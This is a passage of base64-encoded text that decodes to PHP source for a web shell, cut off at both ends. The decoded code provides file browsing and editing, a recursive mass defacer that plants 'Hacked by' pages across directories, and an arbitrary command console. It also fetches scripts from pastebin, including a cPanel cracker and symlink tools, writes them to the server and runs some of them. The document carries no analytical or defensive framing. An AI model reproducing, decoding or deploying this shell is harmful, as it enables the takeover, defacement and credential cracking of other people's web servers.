o1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CmlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CmlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwp9CmVjaG8iPC9wcmU+PC9kaXY+IjsKcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewppZiggaXNzZXQoJF9QT1NUWydwMSddKSApCiRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwppZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CmlmKGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7Cm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwppZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CiR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CmhlYWRlcigiQ29udGVudC1UeXBlOiAiLiR0eXBlKTsKfQokZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOwppZigkZnApIHsKd2hpbGUoIUBmZW9mKCRmcCkpCmVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7CmZjbG9zZSgkZnApOwp9Cn0gZWxzZWlmKGlzX2RpcigkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKfQpleGl0Owp9CmlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgewppZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgewokZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOwppZigkZnApIHsKJF9QT1NUWydwMiddID0gImVkaXQiOwpmY2xvc2UoJGZwKTsKfQp9Cn0KcHJpbnRIZWFkZXIoKTsKZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwppZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewplY2hvICdGaWxlIG5vdCBleGlzdHMnOwpwcmludEZvb3RlcigpOwpyZXR1cm47Cn0KJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwokZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CmVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/dmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLnZpZXdQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOwplY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsKaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQokX1BPU1RbJ3AyJ10gPSAndmlldyc7CmlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQokbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdIZXhkdW1wJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CmVsc2UKJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CmZvcmVhY2goJG0gYXMgJHYpCmVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7CmVjaG8gJzxicj48YnI+JzsKc3dpdGNoKCRfUE9TVFsncDInXSkgewpjYXNlICd2aWV3JzoKZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKaWYoJGZwKSB7CndoaWxlKCAhQGZlb2YoJGZwKSApCmVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CkBmY2xvc2UoJGZwKTsKfQplY2hvICc8L3ByZT4nOwpicmVhazsKY2FzZSAnaGlnaGxpZ2h0JzoKaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CmVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiBibGFjaztjb2xvcjpibGFjazsiPic7CiRjb2RlID0gaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOwplY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwp9CmJyZWFrOwpjYXNlICdjaG1vZCc6CmlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKJHBlcm1zID0gMDsKZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkKJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpCmVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKZWxzZQpkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwp9CmVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdlZGl0JzoKaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7CmVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CmJyZWFrOwp9CmlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSwkX1BPU1RbJ3AzJ10pOwplY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwp9CmVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKaWYoJGZwKSB7CndoaWxlKCAhQGZlb2YoJGZwKSApCmVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CkBmY2xvc2UoJGZwKTsKfQplY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwpicmVhazsKY2FzZSAnaGV4ZHVtcCc6CiRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CiRuID0gMDsKJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CiRsZW4gPSBzdHJsZW4oJGMpOwpmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsKc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7CmNhc2UgMDokaFsyXSAuPSAnICc7IGJyZWFrOwpjYXNlIDk6JGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsKfQokbisrOwppZiAoJG4gPT0gMzIpIHsKJG4gPSAwOwppZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQokaFsxXSAuPSAnPGJyPic7CiRoWzJdIC49ICJcbiI7Cn0KIH0KZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSNyZWQ+PHRyPjx0ZCBiZ2NvbG9yPXJlZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9I3JlZD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9I3JlZD48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7CmJyZWFrOwpjYXNlICdyZW5hbWUnOgppZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CmlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkKZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwplbHNlCmRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOwp9CmVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICd0b3VjaCc6CmlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKaWYoJHRpbWUpIHsKaWYoQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpCmRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CmVsc2UgewplY2hvICdGYWlsITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKfQp9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKfQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdta2ZpbGUnOgpicmVhazsKfQplY2hvICc8L2Rpdj4nOwpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkRlZmFjZXIoKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gIjxoMT5SZWN1cnNpdmUgTWFzcyBEZWZhY2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IjsKPz4KPGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8PyRfU0VSVkVSWydQSFBfU0VMRiddPz4iIG1ldGhvZD1QT1NUIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnBhdGgudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMuQ29udGVudHMudmFsdWUpO3JldHVybiBmYWxzZTsiPgo8cCBhbGlnbj0iTGVmdCI+Rm9sZGVyOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8Pz1nZXRjd2QoKTsgPz4iPgo8YnI+ZmlsZSBuYW1lIDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgc2l6ZT0yMCB2YWx1ZT0iaW5kZXguaHRtIj4KPGJyPlRleHQgQ29udGVudCA6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1Db250ZW50cyBzaXplPTIwIHZhbHVlPSJIYWNrZWQgYnkgMTMzNyBoQHgwciI+IAo8YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJVcGRhdGUiPjwvcD48L2Zvcm0+Cjw/cGhwCmlmICgkX1BPU1RbJ2EnXSA9PSAnRGVmYWNlcicpIHsKJG1haW5wYXRoID0gJF9QT1NUW3AxXTsKJGZpbGUgPSAkX1BPU1RbcDJdOwokdHh0Q29udGVudHMgPSAkX1BPU1RbcDNdOwplY2hvICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj4KWytdIFJlY3Vyc2l2ZSBNYXNzIGRlZmFjZXI8YnI+Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj4gIjsKJGRpciA9IG9wZW5kaXIoJG1haW5wYXRoKTsKd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiRzdGFydCA9IEBmb3BlbigiJHJvdy8kZmlsZSIsICJ3KyIpOwokY29kZSA9ICR0eHRDb250ZW50czsKJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkY29kZSk7CmlmICgkZmluaXNoKSB7CmVjaG8gImh0dHA6Ly8kcm93LyRmaWxlPGJyPiI7Cn0KaWYgKHN0cm5jYXNlY21wKFBIUF9PUywgJ1dJTicsIDMpID09IDApIHsKZXhlYygiZm9yIC9yICVjZCUgJWkgaW4gKC4pIGRvIEBjb3B5ICRmaWxlICVpIDE+TlVMIik7Cn0gZWxzZSB7CnN5c3RlbSgiZmluZCAkUFdNIC10eXBlIGQgLWV4ZWMgY3AgJGZpbGUge30gXDsiKTsKfQp9CmVjaG8gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj5bK10gU2NyaXB0IGJ5IDEzMzcgaEB4MHIgWytdIjsKfQplY2hvICc8L2Rpdj4nOwpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7CmlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewokX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7Cm9iX3N0YXJ0KCk7CmVjaG8gImRvY3VtZW50LmNmLmNtZC52YWx1ZT0nJztcbiI7CiR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7CmlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSl7CmlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7CiRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsKZWNobyAiZG9jdW1lbnQubWYuYy52YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsKfQp9CmVjaG8gImRvY3VtZW50LmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsKZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKZXhpdDsKfQpwcmludEhlYWRlcigpOwplY2hvICc8c2NyaXB0PgppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOwp2YXIgY21kcyA9IG5ldyBBcnJheSgiIik7CnZhciBjdXIgPSAwOwpmdW5jdGlvbiBrcChlKSB7CnZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOwppZihuID09IDM4KSB7CmN1ci0tOwppZihjdXI+PTApCmRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKZWxzZQpjdXIrKzsKfSBlbHNlIGlmKG4gPT0gNDApIHsKY3VyKys7CmlmKGN1ciA8IGNtZHMubGVuZ3RoKQpkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CmVsc2UKY3VyLS07Cn0KfQpmdW5jdGlvbiBhZGQoY21kKSB7CmNtZHMucG9wKCk7CmNtZHMucHVzaChjbWQpOwpjbWRzLnB1c2goIiIpOwpjdXIgPSBjbWRzLmxlbmd0aC0xOwp9Cjwvc2NyaXB0Pic7CmVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZG9jdW1lbnQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2RvY3VtZW50LmNmLm91dHB1dC52YWx1ZT1cJ1wnO2RvY3VtZW50LmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOwpmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsKaWYoJHYgPT0gJycpIHsKZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOwpjb250aW51ZTsKfQplY2hvICc8b3B0aW9uIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiciPicuJG4uJzwvb3B0aW9uPic7Cn0KaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7aWYoZG9jdW1lbnQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO30iIHZhbHVlPSI+PiI+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0iYm9yZGVyLWJvdHRvbTowOyIgcmVhZG9ubHk+JzsKaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSk7Cn0KZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXItdG9wOjE7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+JzsKZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+JzsKcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7CnVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOwplY2hvICc8dGl0bGU+R2V0IG91dCBOb3c8L3RpdGxlPjxib2R5IGJnY29sb3I9IzAwMDAwMD48Y2VudGVyPjxpbWcgc3JjPSJodHRwOi8vaS5pbWd1ci5jb20vOTJFQVVKay5wbmciPjxicj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj5ib2R5LCBhOmhvdmVyIHtjdXJzb3I6IHVybChodHRwOi8vY3VyLmN1cnNvcnMtNHUubmV0L2N1cnNvcnMvY3VyLTExL2N1cjEwNTQuY3VyKSwgcHJvZ3Jlc3MgIWltcG9ydGFudDt9PC9zdHlsZT48YSBocmVmPSJodHRwOi8vd3d3LmN1cnNvcnMtNHUuY29tL2N1cnNvci8yMDEyLzAyLzExL2Nocm9tZS1wb2ludGVyLmh0bWwiIHRhcmdldD0iX2JsYW5rIiB0aXRsZT0iQ2hyb21lIFBvaW50ZXIiPjxpbWcgc3JjPSJodHRwOi8vY3VyLmN1cnNvcnMtNHUubmV0L2N1cnNvci5wbmciIGJvcmRlcj0iMCIgYWx0PSJDaHJvbWUgUG9pbnRlciIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IDBweDsgcmlnaHQ6IDBweDsiIC8+PC9hPgo8c3BhbiBzdHlsZT0iY29sb3I6cmVkO2ZvbnQ6IDIwcHQgYXVkaW93aWRlOyI+WW91ciBhcmUgb3V0IG5vdyA6RDxicj53d3cuZmFjZWJvb2suY29tL0V2aWxHZW5pdXM3ODY8L2gyPjwvc3Bhbj48L2NlbnRlcj48L2JvZHk+JzsKfQovLy9teSBlZGl0aW5nIHN0YXJ0IGhlcmUgZm9yIHRvb2xzCmZ1bmN0aW9uIGRvd25sb2FkX3JlbW90ZV9maWxlKCRmaWxlX3VybCwgJHNhdmVfdG8pCnsKJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV91cmwpOwpmaWxlX3B1dF9jb250ZW50cygkc2F2ZV90bywgJGNvbnRlbnQpOwp9CmlmIChpc3NldCgkX1BPU1RbJ2NwJ10pKSB7CmRvd25sb2FkX3JlbW90ZV9maWxlKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy8yTnRkajdqdScsIHJlYWxwYXRoKCIuLyIpIC4gJy9jcC5waHAnKTsKaGVhZGVyKCJsb2NhdGlvbjpjcC5waHAiKTsKfSAKaWYgKGlzc2V0KCRfUE9TVFsnU3ltbGlua2J5U21ldmsnXSkpIHsKZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPVBoU2s3S3ZxJywgcmVhbHBhdGgoIi4vIikgLiAnL1N5bWxpbmtieVNtZXZrLnBocCcpOwpoZWFkZXIoImxvY2F0aW9uOlN5bWxpbmtieVNtZXZrLnBocCIpOwp9CmlmIChpc3NldCgkX1BPU1RbJ1N5bWxpbmtieUNoZWV0YWgnXSkpIHsKZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPUVYZWpnQU12JywgcmVhbHBhdGgoIi4vIikgLiAnL1N5bWxpbmtieUNoZWV0YWgucGhwJyk7CmhlYWRlcigibG9jYXRpb246U3ltbGlua2J5Q2hlZXRhaC5waHAiKTsKfQppZiAoaXNzZXQoJF9QT1NUWydTeW1saW5rYnlUb3JqYW4nXSkpIHsKZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LnBocD9pPVlVZzRwWGUyJywgcmVhbHBhdGgoIi4vIikgLiAnL3N5bS5weScpOwokdXJsID0gJ2h0dHA6Ly8nIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiBkaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSAuICcvdHJqbngvJzsKaGVhZGVyKCdsb2NhdGlvbjogJy4kdXJsKTsKc3lzdGVtKCdweXRob24gc3ltLnB5Jyk7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnanVtcCddKSkgewpkb3dubG9hZF9yZW1vdGVfZmlsZSgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvTXh0Y1Q2blgnLCByZWFscGF0aCgiLi8iKSAuICcvanVtcC5waHAnKTsKaGVhZGVyKCJsb2NhdGlvbjpqdW1wLnBocCIpOwp9CmlmIChpc3NldCgkX1BPU1RbJ2FkbWluZXInXSkpIHsKc3lzdGVtKCd3Z2V0IGh0dHBzOi8vd3d3LmFkbWluZXIub3JnL3N0YXRpYy9kb3dubG9hZC80LjIuNS9hZG1pbmVyLTQuMi41LW15c3FsLWVuLnBocCBhZG1pbmVyLnBocCcpOwpoZWFkZXIoImxvY2F0aW9uOmFkbWluZXItNC4yLjUtbXlzcWwtZW4ucGhwIik7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnY2cnXSkpIHsKZG93bmxvYWRfcmVtb3RlX2ZpbGUoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L1dTZ2tESFNOJywgcmVhbHBhdGgoIi4vIikgLiAnL2NnLnBocCcpOwpoZWFkZXIoImxvY2F0aW9uOmNnLnBocCIpOwp9CmZ1bmN0aW9uIGFjdGlvbkltcG9ydFNjcmlwdHMoKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gJzx0YWJsZSBib3JkZXI9IjFweCIgYWxpZ249ImNlbnRlciIgaWQgPSIxMzM3dG9vbHMiIGNlbGxwYWRkaW5nPSIxMCIgYm9yZGVyLWNvbG9yImdyZWVuIj48dHI+PHRkPkp1c3QgY2xpY2sgYW5kIGdldCB0aGUgU2NyaXB0IDopLjwvdGQ+PHRyPjx0ZD4KPGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImNwIiB2YWx1ZSA9IkNwYW5lbCBDcmFja2VyIj48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJTeW1saW5rYnlUb3JqYW4idmFsdWUgPSJTeW1saW5rIFB5dGhvbiBTY3JpcHQgQnkgVG9yamFuIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJTeW1saW5rYnlTbWV2ayIgdmFsdWUgPSJTeW1saW5rIFNjcmlwdCBCeSBTbUV2S19QYVRo